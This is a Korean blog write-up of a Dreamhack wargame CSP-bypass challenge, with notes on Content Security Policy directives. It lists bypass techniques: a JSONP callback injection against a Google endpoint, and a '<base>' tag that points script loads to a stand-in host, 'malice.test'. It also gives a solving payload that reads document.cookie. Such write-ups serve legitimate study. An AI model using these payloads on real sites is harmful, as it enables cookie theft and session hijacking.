security/웹해킹

[Dreamhack Wargame] CSP Bypass + CSP에 대해

민사민서 2023. 7. 3. 16:26

Content Security Policy (CSP, 컨텐츠 보안 정책)

-XSS / 데이터 삽입 공격이 발생하였을 때 피해를 줄이고 웹 관리자가 공격 시도를 보고 받을 수 있도록 새롭게 추가된 보안 계층
- 웹 페이지에 사용될 수 있는 자원의 위치, 출처 등에 제약을 검
- CSP 구문은 일반적으로 Content-Security-Policy HTTP 헤더에 추가하여 적용할 수 있음

Content-Security-Policy: default-src 'self' https://example.dreamhack.io


특징

- 인라인 코드 (Inline Code)를 유해하다고 간주
   * <script> 태그 내에 코드를 삽입하는 것을 포함하여 on* 이벤트 핸들러 속성, javascript: URL 스킴 또한 인라인 코드로 간주하고 허용 x
  * CSS 스타일시트 또한 인라인 코드를 허용 x. style 속성과 style 태그 모두 외부 스타일시트로 통합하는 것을 권장
- 문자열 텍스트를 실행 가능한 자바스크립트 코드 형태로 변환하는 메커니즘 또한 유해하다고 간주
   * eval, new Function(), setTimeout([string], ...), setInterval([string], ...) 차단


어떤 리소스를 제어?

default-src -src로 끝나는 모든 리소스의 기본 동작을 제어합니다. 만약 CSP 구문 내에서 지정하지 않은 지시문이 존재한다면 default-src의 정의를 따라갑니다.
img-src 이미지를 로드할 수 있는 출처를 제어합니다.
script-src 스크립트 태그 관련 권한과 출처를 제어합니다.
style-src 스타일시트 관련 권한과 출처를 제어합니다.
child-src 페이지 내에 삽입된 프레임 컨텐츠에 대한 출처를 제어합니다.
base-uri 페이지의 <base> 태그에 나타날 수 있는 URL을 제어합니다.

어떤 출처를 제어?

*://example.com 출처의 scheme은 와일드카드를 이용해 표현할 수 있습니다.
https://*.example.com 출처의 호스트 서브도메인은 와일드카드를 이용해 표현할 수 있습니다. (단, 와일드카드는 호스트의 중간에 들어갈 수 없습니다. i.e) https://www.*.com, https://*.example.*
또한 서브도메인을 와일드카드로 표현할 시, 서브도메인이 붙어있지 않는 도메인은 포함되지 않습니다. i.e) https://*.example.com으로 출처를 표기할 경우, https://example.com은 포함 안됨
https://example.com:* 출처의 포트는 와일드카드를 이용해 표현할 수 있습니다.
none 모든 출처를 허용하지 않습니다.
self 페이지의 현재 출처 (Origin) 내에서 로드하는 리소스만 허용합니다.
unsafe-inline 예외적으로 인라인 코드의 사용을 허용합니다.
unsafe-eval 예외적으로 eval과 같은 텍스트-자바스크립트 변환 메커니즘의 사용을 허용합니다.
nonce-<base64-value> nonce 속성을 설정하여 예외적으로 인라인 코드를 사용합니다. <base64-value> 는 반드시 요청마다 다른 난수 값으로 설정해야 합니다. 해당 출처를 설정하면 unsafe-inline 은 무시됩니다

 

우회 방법

1. 신뢰하는 도메인에 파일/코드 업로드
특정 출처가 파일 업로드 및 다운로드 기능을 제공한다면, 공격자는 출처에 스크립트와 같은 자원을 업로드한 뒤 다운로드 경로로 웹 페이지에 자원을 포함시킬 수 있습니다

2. JSONP API 이용

만약 CSP에서 허용한 출처가 JSONP API를 지원한다면, callback 파라미터에 원하는 스크립트를 삽입하여 공격이 가능
구글에서 JSONP API를 지원하는 서버를 찾아 callback에 원하는 스크립트를 삽입할 수 있음

https://accounts.google.com/o/oauth2/revoke?callback=alert(1);

3. NONCE 값 예측

현재 시각(srand() / rand()) 등 공격자가 알 수 있는 정보를 바탕으로 nonce를 생성하는 경우

4. base-uri 미지정

HTML 하이퍼링크에서 호스트 주소 없이 경로를 지정하면 브라우저는 현재 문서를 기준으로 주소를 해석
HTML <base> 태그는 경로가 해석되는 기준점을 변경할 수 있도록 하며, <a>, <form> 등의 target 속성의 기본 값을 지정하도록 함

base-uri 지시문을 임의로 지정하지 않는 이상 default 초기 값이 존재하지 않음!!!

Content-Security-Policy: base-uri 'none'

위와 같이 base-uri CSP 구문 지정하면 안전. 그렇지 않은 경우?

<base href="https://malice.test">
<script src="/jquery.js" nonce=NONCE>

/jquery.js 는 https://malice.test/jquery.js 가리킴. nonce 값 몰라도 통과 가능!! (Nonce Retargeting)

 

문제 코드 분석

# HTTP 요청이 처리되고 브라우저가 응답하기 전에 실행되는 미들웨어
@app.after_request 
def add_header(response):
    global nonce
    response.headers[
        "Content-Security-Policy"
    ] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'"
    # 매 HTTP 요청마다 랜덤한 nonce 값 사용 - leak 불가능
    nonce = os.urandom(16).hex()
    return response

- nonce는 HTTP 요청 이루어질때마다 매번 새로 생성되므로 공략 불가능

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param

-  vuln은 argument로 건네준 user input을 그대로 되돌려준다

- script-src = 'self' 'nonce-{nonce}' 이므로 동일 출처 내의 파일을 src로 셋팅하거나, 올바른 nonce 속성이 셋팅되어있으면 예외적으로 스크립트 사용 가능하다

- script 태그의 source를 자기 자신으로 해버리면?!

 

/flag에서 아래 payload를 post 요청으로 보내면 됨

<script src="/vuln?param=location.href='/memo?memo='%2Bdocument.cookie"></script>

* 실제 스크립트 부분 (lcoation.href='/memo?memo='+document.cookie) 는 파라미터로 전달되면서 URL Decoding이 되므로 +가 공백으로 해석되지 않도록 한 번 인코딩해 %2B 사용해야 함!!